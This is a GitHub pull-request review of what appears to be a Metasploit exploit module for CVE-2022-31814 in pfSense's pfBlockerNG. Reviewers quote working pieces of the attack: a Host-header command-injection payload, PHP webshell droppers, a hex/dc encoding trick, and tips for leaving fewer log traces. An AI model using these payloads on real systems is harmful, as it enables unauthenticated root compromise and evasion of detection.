Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 #17032

Merged
merged 9 commits into from
Oct 13, 2022

Conversation

jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Sep 17, 2022

This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated
attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header.
Versions =< 2.1.4_26 are vulnerable, note that version 3.X is unaffected.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Do: use unix/http/pfsense_pfblockerng_webshell
  • Set the RHOST, LHOST options
  • Run the module
  • Receive a cmd shell as the root user

@EvergreenCartoons
Copy link

I can't seem to send a PR to the PR to add to the notes, so whatever, I'll add them in this comment (along with the other comment above).

For IoC's in Logs, I did a look about, and found the exploitation creates log entries in the following places:

logs of webshell access and any commands sent will be in /var/log/nginx.log
logs of requests to the vulnerable endpoint will be in /var/log/nginx.log
the whole webshell injection command will be in /var/log/pfblockerng/dnsbl.log

For less-logs, using a POST request to send the commands to the webshell is far superior, that way you don't end up with commandstager crap spewed into the nginx access log, so there is significantly less mess to clean up.

send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '#{Rex::Text.encode_base64(web_shell_contents)}'|python3.8 -m base64 -d | php; '"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Instead of python3.8 -m base64 -d, I'd suggest openssl base64 -d. My main concern being the versioned python binary. Although, if pfsense never changes it then 🤷🏼

Great module @jheysel-r7! <3

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

base64 -d is even shorter :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Too bad pfSense doesn't have base64 -d ;)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Arg.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks all!! 🙇


def exploit
print_status 'Uploading shell...'
# The webshell filename has to be a specific length in order for the exploit to be successful, either: 5, 8, 11, 14, 17...
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No need for the trailing ... since [5, 8, 11, 14, 17] are the only values used.

print_status("Webshell name is: #{@webshell_name}")

web_shell_contents = <<~EOF
<?$a=fopen("/usr/local/www/#{@webshell_name}","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This can be golfed/improved:

<?php file_put_contents('/usr/local/www/#{@webshell_name}','<?php print(passthru($_GET["c"]));');
  • Short tags (<?) are deprecated
  • file_put_contents is equivalent to fopen()fwrite()fclose()
  • No need to provide a closing tag (?>)
  • No need to add a trailing ||die() now that we have a single statement

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, why not use getmyuid()/get_current_user()/posix_getuid()/… directly?

Copy link
Contributor Author

@jheysel-r7 jheysel-r7 Sep 21, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @jvoisin, these are all great. I've made these changes and retested.

Do you mean using getmyuid()/get_current_user()/posix_getuid() directly when issuing the check_for_shell request?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Absolutely, since you're checking the return of a getuid function to see if the target is vulnerable.

send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '#{Rex::Text.encode_base64(web_shell_contents)}'|python3.8 -m base64 -d | php; '"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

base64 -d is even shorter :)

@EvergreenCartoons
Copy link

EvergreenCartoons commented Sep 21, 2022

Just another FYI: You can replace the base64 entirely with hex using dc to decode it.

A worked example as part of my implementation of this exploit is here: EvergreenCartoons/SenselessViolence#7

This also avoids weird bad-char issues to do with forward slashes in base64, allowing for much greater freedom in payload selection.

@jheysel-r7
Copy link
Contributor Author

Just another FYI: You can replace the base64 entirely with hex using dc to decode it.

A worked example as part of my implementation of this exploit is here: EvergreenCartoons/SenselessViolence#7

This also avoids weird bad-char issues to do with forward slashes in base64, allowing for much greater freedom in payload selection.

Sweet, this is great! Thanks for linking

@EvergreenCartoons
Copy link

EvergreenCartoons commented Sep 22, 2022

Further payload optimising: yes, we can go smaller, replace the PHP dropper with a simple shell dropper.

Also worth noting - with the hex encoding there is no restriction that I have found on the length of the webshell name, and I've tested it pretty extensively so far.

I've yet to commit the latest changes to my implementation, but it works.

Code snippet (python3) below:

    shell_fullpath = "/path/to/webshell.php"
    shell_code = "<?php eval($_POST[1]);"
    php_code = f"echo '{shell_code}' > {shell_fullpath}"
    encoded_php = binascii.hexlify(php_code.encode('ascii'))
    encoded_php = encoded_php.upper()
    print(encoded_php)
    command_string = f"' *; echo '16i {encoded_php.decode('ascii')} P' | dc | sh; '"

@jheysel-r7
Copy link
Contributor Author

Further payload optimising: yes, we can go smaller, replace the PHP dropper with a simple shell dropper.

Also worth noting - with the hex encoding there is no restriction that I have found on the length of the webshell name, and I've tested it pretty extensively so far.

I've yet to commit the latest changes to my implementation, but it works.

Code snippet (python3) below:

    shell_fullpath = "/path/to/webshell.php"
    shell_code = "<?php eval($_POST[1]);"
    php_code = f"echo '{shell_code}' > {shell_fullpath}"
    encoded_php = binascii.hexlify(php_code.encode('ascii'))
    encoded_php = encoded_php.upper()
    print(encoded_php)
    command_string = f"' *; echo '16i {encoded_php.decode('ascii')} P' | dc | sh; '"

Thanks for the suggestion @EvergreenCartoons, much appreciated. I tried implementing this but wasn't able to get code execution. I tried to follow what you suggested:

Updated the shell code to run the eval command and then also updated the end of the command string ( in my case the host header) P' | dc | sh; ' to execute shell code instead of php code.

Do you know if I'll have to update how I'm sending the command in vars_post for this to work? Any further suggestions would be appreciated, thanks!

@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(8..16)}.php"
print_status("Webshell name is: #{@webshell_name}")
web_shell_contents = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php print(passthru( $_POST["c"]));');
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

'<?php print(passthru( $_POST["c"]));''<?php echo(passthru($_POST["c"]));' is even shorter!

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Updated, thanks @jvoisin!

@gwillcox-r7 gwillcox-r7 self-assigned this Oct 11, 2022
@gwillcox-r7 gwillcox-r7 changed the title Add module for pfSense pfBlockNG unauth RCE as root Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 Oct 13, 2022
@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Oct 13, 2022
@gwillcox-r7 gwillcox-r7 merged commit 2af0a30 into rapid7:master Oct 13, 2022
@gwillcox-r7
Copy link
Contributor

Release Notes

A module has been added for CVE-2022-31814, an unauthenticated RCE in the pfSense plugin within pfBlockerNG that allows remote unauthenticated attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. Versions =< 2.1.4_26 are vulnerable. Note that version 3.X is unaffected.

}
)
sleep datastore['WfsDelay']
register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A little late to the party but this will leave around a file if only the check is called.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fix has been pushed #17163. Thanks for bringing this up!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

7 participants